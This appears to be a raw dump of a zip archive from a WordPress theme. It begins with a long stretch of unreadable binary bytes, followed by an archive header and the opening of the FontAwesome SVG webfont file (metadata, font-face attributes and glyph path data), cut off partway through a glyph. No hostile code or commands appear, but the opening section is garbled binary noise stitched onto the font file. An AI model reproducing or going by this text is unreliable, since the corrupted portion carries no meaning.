sTSM!ˮnSV\ShKѳn~mX=[ڡ؍bZGNXv3Y_sT+N_L:>WGAhӲo{	NwG[VCɩrs#_e=oNgy5YVS&ufLD T^n5iY|^~Hˡg<Mp\e|8~}ЉgҝZ0nA'DAMQ},&&9#k"G8T?ሆ%b`*ԭi;4Uv##r{"g9rpnYb)wWyFc5p@~;~=W~o\XljUXW;GY=W*{L;b*?!+,a^CW~l_b$Cerb2}N_crߥZLmzH؉z*LdIrZ8$1%'rq~͙e΋oko9lqB~ɽbm3C=A&pc'D˛t	p~l2s6K)74RrbCBe\܊dDdEzG`$`C!HUv;ɄVQy3CuV87'F^Z2ٺ8BP#
YJOb^:TAΧVgvq~A]vxvg(PwTk78G;y7b@q@5T>s;'MI#I3>+7A:p}=[|y-N*y.orJqQYX;(Ck8>koqDWpd5E=qunk6t$z"cÎ|١(S	cJ)0.Geɔq:-#$Y=ff-YVtyXKhQ]ԗHe_`~(5TAFֱ<b=.owI3љwfw3ł|0˗8-	/Ona.%e/$է<0"/h܈C3e9ibį9;8$"G!HJaWkdqIf)HǶI_({ڵrvj(N2f-iMj&Pd>Qĳhr&|`DC 	{nA9YH61G&Ύm/%	iźAJcO wtCŗ^l4b&ψ8WV/g|%%Y]%Ԯ{M>ɏ63Y8Tcx7V.M\7r8G
6CpWlЋcS\Ha/r6z#^`ޑ5,Q!^ߴ]&h#*ZL>K,GҧK\w>5]-2䖠qRs#?Xb9Vq-ˎJK!	<=
"4sύ=qWv/TKkXedI$9GM7\@&SJ5H⁚+C%)RVU)&E}Uc|8L
h,]M
hR@dVui(KQIf)EU	)4>&<и+RRb\kӵJ+	$J+	$0, ʂ(	gu!в1tmZ&akEX+V4tV!6dZC@2dȐ0a
zhL@fϻ?PUTTPUT*4US^nHKhĄ EE|Q_TEE|QĤ &!L
bnb܊BLa)$EYU)&)K2!0XKb	C,aIIHJ3bC`1!f03bC`	_FYeA!0ʂ" DzC7DzC7DzC7*0!!!!!!! LA)S,z.sK"!UAT!"!"!"!"!"!"!"!"1)DC"JU۴41kƙ")қ:&]2XbB
3Kooooooooof)Uzu]uYzRWzB׃VzJӺlROi);y4ҼSwJNi);y4ҼSWҴּӚwZNki;y5ּӚwZNkiͫckIҌѼ3WGؒ;yg4Ѽ3wFhY;yg5ռwVΊS&5&դtVj	   PK     0w\;_  K  customizer/framework/assets/font/font-awesome/fonts/fontawesome-webfont.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg>
<metadata>
Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016
 By ,,,
Copyright Dave Gandy 2016. All rights reserved.
</metadata>
<defs>
<font id="FontAwesome" horiz-adv-x="1536" >
  <font-face 
    font-family="FontAwesome"
    font-weight="400"
    font-stretch="normal"
    units-per-em="1792"
    panose-1="0 0 0 0 0 0 0 0 0 0"
    ascent="1536"
    descent="-256"
    bbox="-1.02083 -256.962 2304.6 1537.02"
    underline-thickness="0"
    underline-position="0"
    unicode-range="U+0020-F500"
  />
<missing-glyph horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".notdef" horiz-adv-x="896" 
d="M224 112h448v1312h-448v-1312zM112 0v1536h672v-1536h-672z" />
    <glyph glyph-name=".null" horiz-adv-x="0" 
 />
    <glyph glyph-name="nonmarkingreturn" horiz-adv-x="597" 
 />
    <glyph glyph-name="space" unicode=" " horiz-adv-x="448" 
 />
    <glyph glyph-name="dieresis" unicode="&#xa8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="copyright" unicode="&#xa9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="registered" unicode="&#xae;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="acute" unicode="&#xb4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="AE" unicode="&#xc6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="Oslash" unicode="&#xd8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="trademark" unicode="&#x2122;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="infinity" unicode="&#x221e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="notequal" unicode="&#x2260;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="glass" unicode="&#xf000;" horiz-adv-x="1792" 
d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
    <glyph glyph-name="music" unicode="&#xf001;" 
d="M1536 1312v-1120q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v537l-768 -237v-709q0 -50 -34 -89t-86 -60.5t-103.5 -32t-96.5 -10.5t-96.5 10.5t-103.5 32t-86 60.5t-34 89
t34 89t86 60.5t103.5 32t96.5 10.5q105 0 192 -39v967q0 31 19 56.5t49 35.5l832 256q12 4 28 4q40 0 68 -28t28 -68z" />
    <glyph glyph-name="search" unicode="&#xf002;" horiz-adv-x="1664" 
d="M1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -52 -38 -90t-90 -38q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5
t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="envelope" unicode="&#xf003;" horiz-adv-x="1792" 
d="M1664 32v768q-32 -36 -69 -66q-268 -206 -426 -338q-51 -43 -83 -67t-86.5 -48.5t-102.5 -24.5h-1h-1q-48 0 -102.5 24.5t-86.5 48.5t-83 67q-158 132 -426 338q-37 30 -69 66v-768q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1664 1083v11v13.5t-0.5 13
t-3 12.5t-5.5 9t-9 7.5t-14 2.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5q0 -168 147 -284q193 -152 401 -317q6 -5 35 -29.5t46 -37.5t44.5 -31.5t50.5 -27.5t43 -9h1h1q20 0 43 9t50.5 27.5t44.5 31.5t46 37.5t35 29.5q208 165 401 317q54 43 100.5 115.5t46.5 131.5z
M1792 1120v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="heart" unicode="&#xf004;" horiz-adv-x="1792" 
d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600
q-18 -18 -44 -18z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="1664" 
d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455
l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="star_empty" unicode="&#xf006;" horiz-adv-x="1664" 
d="M1137 532l306 297l-422 62l-189 382l-189 -382l-422 -62l306 -297l-73 -421l378 199l377 -199zM1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -50 -41 -50q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500
l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455l502 -73q56 -9 56 -46z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="1280" 
d="M1280 137q0 -109 -62.5 -187t-150.5 -78h-854q-88 0 -150.5 78t-62.5 187q0 85 8.5 160.5t31.5 152t58.5 131t94 89t134.5 34.5q131 -128 313 -128t313 128q76 0 134.5 -34.5t94 -89t58.5 -131t31.5 -152t8.5 -160.5zM1024 1024q0 -159 -112.5 -271.5t-271.5 -112.5
t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="film" unicode="&#xf008;" horiz-adv-x="1920" 
d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
" />
    <glyph glyph-name="off" unicode="&#xf011;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
    <glyph glyph-name="file_alt" unicode="&#xf016;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
" />
    <glyph glyph-name="time" unicode="&#xf017;" 
d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
    <glyph glyph-name="download" unicode="&#xf01a;" 
d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="upload" unicode="&#xf01b;" 
d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" 
d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
q25 -61 25 -123z" />
    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="repeat" unicode="&#xf01e;" 
d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
    <glyph glyph-name="refresh" unicode="&#xf021;" 
d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
